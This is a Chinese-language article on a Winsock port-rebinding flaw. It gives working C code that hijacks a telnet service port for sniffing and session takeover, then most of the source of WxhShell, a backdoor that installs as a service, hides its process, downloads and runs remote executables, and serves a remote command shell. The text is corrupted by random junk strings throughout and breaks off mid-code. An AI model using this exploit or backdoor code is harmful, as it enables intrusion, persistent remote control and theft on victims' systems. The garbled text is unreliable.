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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /A[AHJ<[? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lyfLkBF -7TT6+H) saddr.sin_family = AF_INET; qbu Lcy3 {l.) *#O saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9s6, &' jY$Bns&.w bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _
mhP:O 5G'X\iR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [G+M94[A zv||&Hi 这意味着什么?意味着可以进行如下的攻击: .1.n{4z>: v$p<6^kJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [{ K$sd U:~O^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w'~f Z* C^K?"800 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;gTdiwfgZ= ;VeC(^-eh6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 bqFGDmu6' ? Sj,HLo@U 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )}9Ef"v| o?b$}Qrl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;t:B:4r(j R"];`F(# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VT?JTW xV}E3Yj2# #include @ T'!;) #include =<y$5"| #include h<4WY#Y #include _S{HVc DWORD WINAPI ClientThread(LPVOID lpParam); pjvChl5 int main() 5 .0BaVwi { <QQgOaS`2 WORD wVersionRequested; _' Xt DWORD ret; ,jQkR^]j- WSADATA wsaData; K!7o#"GM BOOL val; %g^dB M# SOCKADDR_IN saddr; `][~0\Y3m SOCKADDR_IN scaddr; \kF}E3~+# int err; D*|h
c SOCKET s; 8&qCH>Cf SOCKET sc; zq80}5%2CT int caddsize; ~!E%GCyFy HANDLE mt; MIub^ $<C DWORD tid; r4@!QR<h wVersionRequested = MAKEWORD( 2, 2 ); 1?]Gl+} err = WSAStartup( wVersionRequested, &wsaData ); wz + if ( err != 0 ) { mLd=+&M printf("error!WSAStartup failed!\n"); &dp(CH<De return -1; w1KLQd:yq } 8E H#IiP saddr.sin_family = AF_INET; yd]W',c 9IIQon //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F2:+i#lE i*:lZ eU61 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W#$ pt>h) saddr.sin_port = htons(23); _&FcHwRy if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Us+|L |/ { Xt(w+ printf("error!socket failed!\n"); N8m|Y]^H# return -1; oJ ,t]e*q= } :O-Y67>& val = TRUE; n,hHh=.Fu //SO_REUSEADDR选项就是可以实现端口重绑定的 3Ew-Ia%A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7G.IGXK$ { ,)hUL/r6 printf("error!setsockopt failed!\n"); \9geDX9A return -1; J
[J, } j+\I4oFN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X@:pys 8@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M&Sjo' ( . //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {'l^{"GO" R!0O[i if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +v2Fr} { HUuL3lYka ret=GetLastError(); F-k3'eyY printf("error!bind failed!\n"); }BlVLf%C return -1; cx_FtD } U2\g
Kg[-Q listen(s,2); f;!1=/5u- while(1) A1Ia9@=Mf { {" S"V caddsize = sizeof(scaddr); }OZ%U2PU //接受连接请求 75v 5/5zRn sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @(Wx(3JR?} if(sc!=INVALID_SOCKET) ?M.n 9|}y { y/k6gl[` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2>Hl=bX if(mt==NULL) sXDS_Q { XrS. [ printf("Thread Creat Failed!\n"); bq/m?; break; TCYjj:/ } 3?iRf6;n } #n2'N^t CloseHandle(mt); =kH7 } Ox7v*[x' closesocket(s); *%5.{J! WSACleanup(); <^snS,06 return 0; `[3Iz$K= } @GDe{GG+ DWORD WINAPI ClientThread(LPVOID lpParam) :akEl7/& { p \A ^kX^5 SOCKET ss = (SOCKET)lpParam; 3B!lE(r%J SOCKET sc; 92!1I$zi unsigned char buf[4096]; Aw9se"d SOCKADDR_IN saddr; xpCzx=n3.m long num; N7Vv"o DWORD val; l5_RG,O0A DWORD ret; !
7A _UA8 //如果是隐藏端口应用的话,可以在此处加一些判断 )#n0~7
& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |TLU saddr.sin_family = AF_INET; 1DVu`<OXcH saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xS?[v&"2 saddr.sin_port = htons(23); (jd)sf6Tj[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) by!1L1[JTt { j oDY printf("error!socket failed!\n"); *z
I@Htp return -1; KI)jP(( } Oya:{d&= val = 100; oE\Cwd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nJ'FH[' { 1Z%^U ? ret = GetLastError(); 6$$4!R- return -1; c<- F_+[ } 11t+
a,fM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .RFijr { p vone,y2 ret = GetLastError(); _^K)> return -1; IaMZPl } XgL-t~_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jkCa2!WQ'i { C^9G \s' printf("error!socket connect failed!\n"); c-3-,pyM_T closesocket(sc); Ks'msSMC closesocket(ss); reseu*5 return -1; ,l/~epx4v) } -kFEVJbUyc while(1) .<&o, D { tQ0iie1Ys //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QJiU"1 //如果是嗅探内容的话,可以再此处进行内容分析和记录 [Q+8Ku //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %N+8K num = recv(ss,buf,4096,0); u~SvR~OE if(num>0) Xq:jp+WSG send(sc,buf,num,0); Nfe else if(num==0) !bs{/? break; GF4k num = recv(sc,buf,4096,0); (Z(O7X(/ if(num>0) OBrbWXp@ send(ss,buf,num,0); `! ~~Wf' else if(num==0) N
zrHWVD break; @CGci lS= } rXl ~D! closesocket(ss); ,liFo.kT8% closesocket(sc); tF lLKziU return 0 ; =AEl:SY+ } iA*^`NMaT Cka&b Jv_KZDOdk ========================================================== 2stBW5v3 \l)Jb*t 下边附上一个代码,,WXhSHELL 2cv!85 n1
k2<BU4b ========================================================== H}v.0R %LI[+#QE #include "stdafx.h" poLzgd nE"##2X #include <stdio.h> A'A5.\UN #include <string.h> >i&"{GZ #include <windows.h> bUv}({ #include <winsock2.h> t2bv
nh #include <winsvc.h> etnq{tE5 #include <urlmon.h> M1nH!A~o 0}LBnV #pragma comment (lib, "Ws2_32.lib") <jt_<p
+ #pragma comment (lib, "urlmon.lib") 0%x"Va~"z Kjw==5)} #define MAX_USER 100 // 最大客户端连接数 WG~|sLg #define BUF_SOCK 200 // sock buffer MTnW5W-r9 #define KEY_BUFF 255 // 输入 buffer )I~U&sT\/ =7^rKrD #define REBOOT 0 // 重启 Rgstk/1 #define SHUTDOWN 1 // 关机 y4N8B:j% 8x)&4o@ #define DEF_PORT 5000 // 监听端口 1gK<dg =1|^) 4M,x #define REG_LEN 16 // 注册表键长度 F!k3/z #define SVC_LEN 80 // NT服务名长度 E&;[E T[?wbYfW // 从dll定义API w^Mj[v# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8m prK`p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EN,PI~~F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EO.Se9ux typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VL =1 9[ 9N+3S2sBx& // wxhshell配置信息 ,(&p"O": struct WSCFG { :.VI*X:aQh int ws_port; // 监听端口 |2L|Zp& char ws_passstr[REG_LEN]; // 口令 j . "L= int ws_autoins; // 安装标记, 1=yes 0=no g3 6:OK" char ws_regname[REG_LEN]; // 注册表键名 Os90fR char ws_svcname[REG_LEN]; // 服务名 z`Jcpt char ws_svcdisp[SVC_LEN]; // 服务显示名 |]M|IX8
o char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vx
Vpl@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZXJ]== int ws_downexe; // 下载执行标记, 1=yes 0=no 3-=f@uH! char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $yn7XonS char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f]_{4Olk h]+UK14m }; 5n0B`A "^froQ{"T // default Wxhshell configuration }O+a struct WSCFG wscfg={DEF_PORT, @%^JB "xuhuanlingzhe", mi';96 1, !=3Ce3- "Wxhshell", \PzJ66DL! "Wxhshell", G (3wI} "WxhShell Service", Vr^UEu.w? "Wrsky Windows CmdShell Service", hEh` cBO "Please Input Your Password: ", _'*Vcu`Y 1, 3|0wD:Dy " http://www.wrsky.com/wxhshell.exe", d :vuRK4+ "Wxhshell.exe" 7WMF8(j5 }; zk;'`@7 yg^ 4<A // 消息定义模块 ~Fe$/*v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?onEqH> char *msg_ws_prompt="\n\r? for help\n\r#>"; 1a]P+-@u[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 2CF5qn}T char *msg_ws_ext="\n\rExit."; (&KBYiwr char *msg_ws_end="\n\rQuit."; ?u4t; char *msg_ws_boot="\n\rReboot..."; =T- jG_.H char *msg_ws_poff="\n\rShutdown..."; 8+,I(+
char *msg_ws_down="\n\rSave to "; lD#S:HX UrmnHc>}c char *msg_ws_err="\n\rErr!"; 4M)oA|1w char *msg_ws_ok="\n\rOK!"; ;L@p|]fu }rQ0*h char ExeFile[MAX_PATH]; @s|G18@ int nUser = 0; ;U&~tpd HANDLE handles[MAX_USER]; ^4~?]5Y\ int OsIsNt; ]Om;bmwt '!"rE1e SERVICE_STATUS serviceStatus; MAcjWb~f SERVICE_STATUS_HANDLE hServiceStatusHandle; s>I~%+V.?: $YiG0GK<" // 函数声明 tPb<*{eG int Install(void); `$Y%c1; int Uninstall(void); yTR5*{?j int DownloadFile(char *sURL, SOCKET wsh); fP/;t61Z int Boot(int flag); }1mkX\wWP void HideProc(void); +62}//_? int GetOsVer(void); c{3P|O&. int Wxhshell(SOCKET wsl); d-jZ 5nl( void TalkWithClient(void *cs); \HL66%b[ int CmdShell(SOCKET sock);
+O4//FC-" int StartFromService(void); zXW;W$7V4 int StartWxhshell(LPSTR lpCmdLine); ZfibHivz |)OC1=As VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Y>fVq{U?; VOID WINAPI NTServiceHandler( DWORD fdwControl ); *>k6n5% ul{D)zm\D // 数据结构和表定义 u`"Y!*[ - SERVICE_TABLE_ENTRY DispatchTable[] = D^S"6v"z { e8&7W3 m {wscfg.ws_svcname, NTServiceMain}, @o6! {NULL, NULL} w19OOD }; 2S//5@~_m QN;GMX5& // 自我安装 }O\g<ke:u int Install(void) qOAhBZ~ { 5&_R+g char svExeFile[MAX_PATH]; U45-R- HKEY key; k)zBw(wr strcpy(svExeFile,ExeFile); Mehp]5* 24*3m&fA*K // 如果是win9x系统,修改注册表设为自启动 C'PHbo: if(!OsIsNt) { 1U(!%}, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tILnD1q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >:OP+Vc RegCloseKey(key); OI:T#uk5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p7L6~IN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rIX 40,` RegCloseKey(key); ;x&3tN/I return 0; X;v{,P=J } X{iidTW`xv } _MTvNs } (L!u[e0[# else { mhF@S@ &`_|[Y ]H // 如果是NT以上系统,安装为系统服务 ~Fo`Pr_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W+.?J
60 if (schSCManager!=0) `F~Fb S { 7'5/T]Z SC_HANDLE schService = CreateService xM>dv5<E ( wKJK!P schSCManager, @^`5;JiUk wscfg.ws_svcname, xzRC % wscfg.ws_svcdisp, BbI),iP SERVICE_ALL_ACCESS, lEpPi@2PK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7N0m7SC SERVICE_AUTO_START, tfv@
)9 SERVICE_ERROR_NORMAL, /sVmQqVY svExeFile, ktv{-WG2_ NULL, .>'J ^^ NULL, ?hW(5]p| NULL, mHc2v==X\- NULL, 2Mu(GUe; NULL )Y?E$=M+B ); +*RpOtss if (schService!=0) n4zns,:)/ { l`];CALA4 CloseServiceHandle(schService); 1'5!")r CloseServiceHandle(schSCManager); /PkOF(( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l_x>.' a strcat(svExeFile,wscfg.ws_svcname); .|K\1qGW0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]j(Ld\:L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _"'-fl98* RegCloseKey(key); 6:\z8fYD return 0; \g|;7&%l3 } gOk^("@ } _j<,qi CloseServiceHandle(schSCManager); qxD<mZ@-R0 } taOsC!Bp } T0}P 'q OZh+x`' # return 1; $Vm J[EF1 } !Jo.Un7 1x|/z,
// 自我卸载 $E@ke: int Uninstall(void) L G9#D { nzu
3BVv HKEY key; *$>$O% !!t@H\ if(!OsIsNt) { e 3>k" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Py,@or7n RegDeleteValue(key,wscfg.ws_regname); r,dxW5v. RegCloseKey(key); S[M\com' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1vxh3KS. RegDeleteValue(key,wscfg.ws_regname); 8JAT2a61ur RegCloseKey(key); WJL,L[XC return 0; <`m.Vbvm" } ]j:Ikb} } O^gq\X4} } f:g<Bz=u)* else { ]QU52R@M ?0Ca-T Rz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); efP2 C\ if (schSCManager!=0) aa1XY&G"! { QX~*aqS3s8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9tC8|~Q if (schService!=0) ;h3*MR { tg5jS]O if(DeleteService(schService)!=0) { U^0vLyqW^5 CloseServiceHandle(schService); "WYcw\@U CloseServiceHandle(schSCManager); /ADxHw`k return 0; x{*!"a> } ddHIP`wb CloseServiceHandle(schService); 90aPIs- } MgMLfgt"V CloseServiceHandle(schSCManager); v981nJ>w, } ?3z+|;t6C } /9w}[y*E 0_D~n0rq,v return 1; JkxS1 } {Rj' =%h }\DQxHG // 从指定url下载文件 EJtU(HmW int DownloadFile(char *sURL, SOCKET wsh) *E)Y?9u" { M*S5&xpX HRESULT hr; 4l`gAE$ char seps[]= "/"; r&3fSx9 char *token; o"1us75P char *file; Ju9v n44 char myURL[MAX_PATH]; 0~1P&Qs<
char myFILE[MAX_PATH]; a@jP^VVk z:G9Uu3H( strcpy(myURL,sURL); E0DEFB token=strtok(myURL,seps); "&+0jfLY+ while(token!=NULL) -<O:isB { z"O-d<U5 file=token; )eV40l$
M token=strtok(NULL,seps); z0W+4meoH } GQZUC\cB Mk9kGP% GetCurrentDirectory(MAX_PATH,myFILE); r#}Sy\ strcat(myFILE, "\\"); 4QVd{ strcat(myFILE, file); n|*V
8VaL send(wsh,myFILE,strlen(myFILE),0); N_DgnZ7* send(wsh,"...",3,0); nz',Zm}, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o_N02l4J) if(hr==S_OK) 4yM8W\je return 0; o <'gM]$ else an2Tc*=~l( return 1; F3'X (~GFd7 } QaO`:wJj ,{50zx2 // 系统电源模块 9$ S,P| int Boot(int flag) \nyFN { E)E! HANDLE hToken; i=a LC*@ TOKEN_PRIVILEGES tkp; "J1ar.li vSA%A47G if(OsIsNt) { $S}x'F!4_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !tdfTf$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #50)D wD tkp.PrivilegeCount = 1; ezvaAhd{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z Y|g#V- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~-GDheA if(flag==REBOOT) { eQx"nl3U% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {ybuHC return 0; ,')bO*Ng } `[\phv else { ]EnaZWyO] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hI8C XG return 0; Q2NnpsA^6 } uLM_KZ } 3>" h*U# else { H=#Jg;_w if(flag==REBOOT) { }j1Zk4}[x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SEIu4
l$E return 0; ["<(\v9P) } )''wu\7A)' else { `W n5
.V if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =>
=x0gsgj return 0; ELF`uWGE } &>l8S lC?
} jPNfLwVkl: `Qf
:PX3 return 1; ;x^,t@ xge } wWU_?Dr_~ X);Zm7 // win9x进程隐藏模块 IJY5wP1" void HideProc(void) U]0)$OH5e { O)uM&B= b6vYM_ Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PX2k,% if ( hKernel != NULL ) XFTMT'9 { ('q vYQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4E\ntufo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _|B&v FreeLibrary(hKernel); ~hslLUE } BemkCj2
iv+jv2ZF% return; YG~ o } Ja v2A6a (TNY2Ke2 8 // 获取操作系统版本 u?;Vxh3@| int GetOsVer(void) *X
l<aNNx { h+~df(S. OSVERSIONINFO winfo; QlYs7zZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2{B(j&{ GetVersionEx(&winfo); Va
Yu% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NTXL>Q*e return 1; +1Rrkok else ~]W[ {3 ; return 0; u] U)d$| } qD;v/,? :~3{oZGX& // 客户端句柄模块
+lgF/y6 int Wxhshell(SOCKET wsl) iSr`fQw# { [AX"ne#M* SOCKET wsh; XMEK5Z9Dd struct sockaddr_in client; Rw}2* 5#y DWORD myID; i<wU.JX&h Wda\a.bXT while(nUser<MAX_USER) 5`"*y iv { dxn0HXU int nSize=sizeof(client); 1Y"35)CR) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y,v0-o~q if(wsh==INVALID_SOCKET) return 1; }kCn@ K 5qLBz@U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,V33v<|wc if(handles[nUser]==0) 6<s(e_5f closesocket(wsh); jj3Pf>D+k else i9;27tT~< nUser++; YO(:32S } 0ck&kpL:9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /~Zc}o,J chO'Q+pw return 0; V9zywM } wrQydI E5*-;>2c // 关闭 socket bk7^%O> void CloseIt(SOCKET wsh) CO:*x,6au { 2{mY:\ closesocket(wsh); np-T&Pz2 nUser--; rkfQr9Vc ExitThread(0); _b0S } <Spr6U9p7 Lf^5Eo/
5A // 客户端请求句柄 gb=80s0 void TalkWithClient(void *cs) l5=u3r9WYC { yX7CN5vVl px w{ SOCKET wsh=(SOCKET)cs; J4gI=@e char pwd[SVC_LEN]; +R
"AA_A? char cmd[KEY_BUFF]; v9E+(4I9_ char chr[1]; S9G8aea/ int i,j; 0 W~.WkD =MTj4VXh" while (nUser < MAX_USER) { w~<FG4@LU ;JOD!| if(wscfg.ws_passstr) { 3TU'*w
& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3D
9N:c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cs K>iN //ZeroMemory(pwd,KEY_BUFF); K4j@j}zK9I i=0; qs!>tw while(i<SVC_LEN) { _&W0e} 4 $Q8P@L)[ // 设置超时 o-SRSu fd_set FdRead; i^je.,Bi struct timeval TimeOut; tgO+*q5B FD_ZERO(&FdRead); J#6LSD@(O FD_SET(wsh,&FdRead); 0SJ{@* TimeOut.tv_sec=8; X$BXT TimeOut.tv_usec=0; u=vh
Z%A] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uDILjOT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GS}0;x b\1+kB/8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R `;o!B}[ pwd =chr[0]; 54=}GnZN if(chr[0]==0xd || chr[0]==0xa) { 4$%`Qh>yA pwd=0; Jf_]Z break; Ru)(dvk}S } PPN q:, i++; +jcdf} } 9U]pH%.9 2[.5o z` // 如果是非法用户,关闭 socket Am#m>^!qb if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <E"*)Oi } ~Y% :
3 9^oo-,Su_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YjFWC!Qj$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LxB&7 !2(.$}E while(1) { _]P
a>8X* pXssh ZeroMemory(cmd,KEY_BUFF); QS\Uq(Ja\ 6mwvI4) // 自动支持客户端 telnet标准 >
9o{(j j=0; 1c'79YU while(j<KEY_BUFF) { )+?HI^-[S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T4eWbNSs cmd[j]=chr[0]; <p09oZ{6 if(chr[0]==0xa || chr[0]==0xd) { l7ZB3' cmd[j]=0; &uPDZ#C- break; Eevw*;$x } Hv3W{| j++; RXM}hqeG } $1~c_<DN 6>s=CiZB // 下载文件 L/)B}8m\ if(strstr(cmd,"http://")) { X\kjAMuW/* send(wsh,msg_ws_down,strlen(msg_ws_down),0); `6P?G|' if(DownloadFile(cmd,wsh)) *=TYVM9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^eobp.U else s*f1x N< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&jZ\IV } n_J5zQJ else { r( M[8@Nz BO"qD[S switch(cmd[0]) { B_cgWJ*4 Y_+
SA|s // 帮助 ZEqE$: case '?': { y=#j`MH{> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e]+7DE break; lr0M<5d=p } T!(sZf // 安装 {d,?bs) case 'i': { ?]5Ix1 if(Install()) ?T
<rt send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5~Q Tg else |WBZN1W) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <W2ZoqaV break; 8A!'I<S1 } e:BDQU // 卸载 $C$ub&D
~" case 'r': { **n y! if(Uninstall()) }Bi@?Sb send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_Re}\D else >P<'L4; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Vx6 #u@} break; 1LX)4TCC } PV(4$I} // 显示 wxhshell 所在路径 @%:E } case 'p': { d+e0;!s~O char svExeFile[MAX_PATH]; bM ^7g strcpy(svExeFile,"\n\r"); \f<z*!,D$ strcat(svExeFile,ExeFile); 3
1k send(wsh,svExeFile,strlen(svExeFile),0); :T5A84/C break; p_r4^p\ } S2Vx e@b) // 重启 14-]esSa case 'b': { lCHo+>\Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sk$KqHX( if(Boot(REBOOT)) (2tH"I send(wsh,msg_ws_err,strlen(msg_ws_err),0); .lr5!Stb else { n$xszuNJ` closesocket(wsh); H nd+l)ng ExitThread(0); pZjpc#*9N } =|"=l1 break; (gU2"{:]J } OT@yPG // 关机 >:$"a case 'd': { c$A@T~$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b` zET^F if(Boot(SHUTDOWN)) v^TkDf(Oz send(wsh,msg_ws_err,strlen(msg_ws_err),0); WN\PX!K9 else { 0MrN:M2B closesocket(wsh); }uiPvO+&p ExitThread(0); `2e_ L } G
B&:G V break; 7>mhK7l } ~bGC/I;W> // 获取shell Cm410 =b case 's': { LihdZ ) CmdShell(wsh); '$6PTa closesocket(wsh); Qi^;1& ExitThread(0); Y/D-V break;
p[ Hr39o } I&\4C.\> // 退出 %"+4
D,'l case 'x': { ONfyYM? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :q;R6-|. CloseIt(wsh); I=5dYq4 l break;
#Qsk}Gv } gmDR{loX // 离开 5us^B8Q case 'q': { O{u[+g send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0e\y~#- closesocket(wsh); KC]tY9 FK WSACleanup(); F9O`HFVK exit(1); 6Hl<,(vn break; XR+rT } Q0WY$w1< } C]Q>*=r } :P,2K5]y Uuz?8/w}# // 提示信息 j-6v2MH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3a9u"8lG } %p*`h43; } }_]As}E /3F<=zi kO return; 3A d*,>! } aP_3C_ t2U$m'(A& // shell模块句柄 |,{+;: int CmdShell(SOCKET sock) c&b/Joi7@ { CC>($k" STARTUPINFO si; (rIXbekgB ZeroMemory(&si,sizeof(si)); v4D!7t&v" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \6i9q= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^Eu_NUFe PROCESS_INFORMATION ProcessInfo; r_q~'r35 _ char cmdline[]="cmd"; ]` K[W & CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tI'e ctn return 0; a}w&dE$!- } ,[^o9u uB %xHu,* // 自身启动模式 jOtzx"/)rE int StartFromService(void) 0S_Ra+e { -CwWs~! typedef struct ah>Dqb* { =^by0E2 DWORD ExitStatus; 1&} G+y DWORD PebBaseAddress; /CbkqNV DWORD AffinityMask; sv@}x[L DWORD BasePriority; X!m;uJZp ULONG UniqueProcessId; . rRc ULONG InheritedFromUniqueProcessId; L^&do98 } PROCESS_BASIC_INFORMATION; R4yJ.f )2/b$i,JKk PROCNTQSIP NtQueryInformationProcess; ,I=O"z>9 g*^wF?t'T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RBPYGu'6B static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =g1 D; ]2g5Ka[>w HANDLE hProcess; WGluZhRuT3 PROCESS_BASIC_INFORMATION pbi; U24V55ZnI p<ry$=` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -g~iE]x6Y if(NULL == hInst ) return 0; 3$;J0{&[i g\E ._ab< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 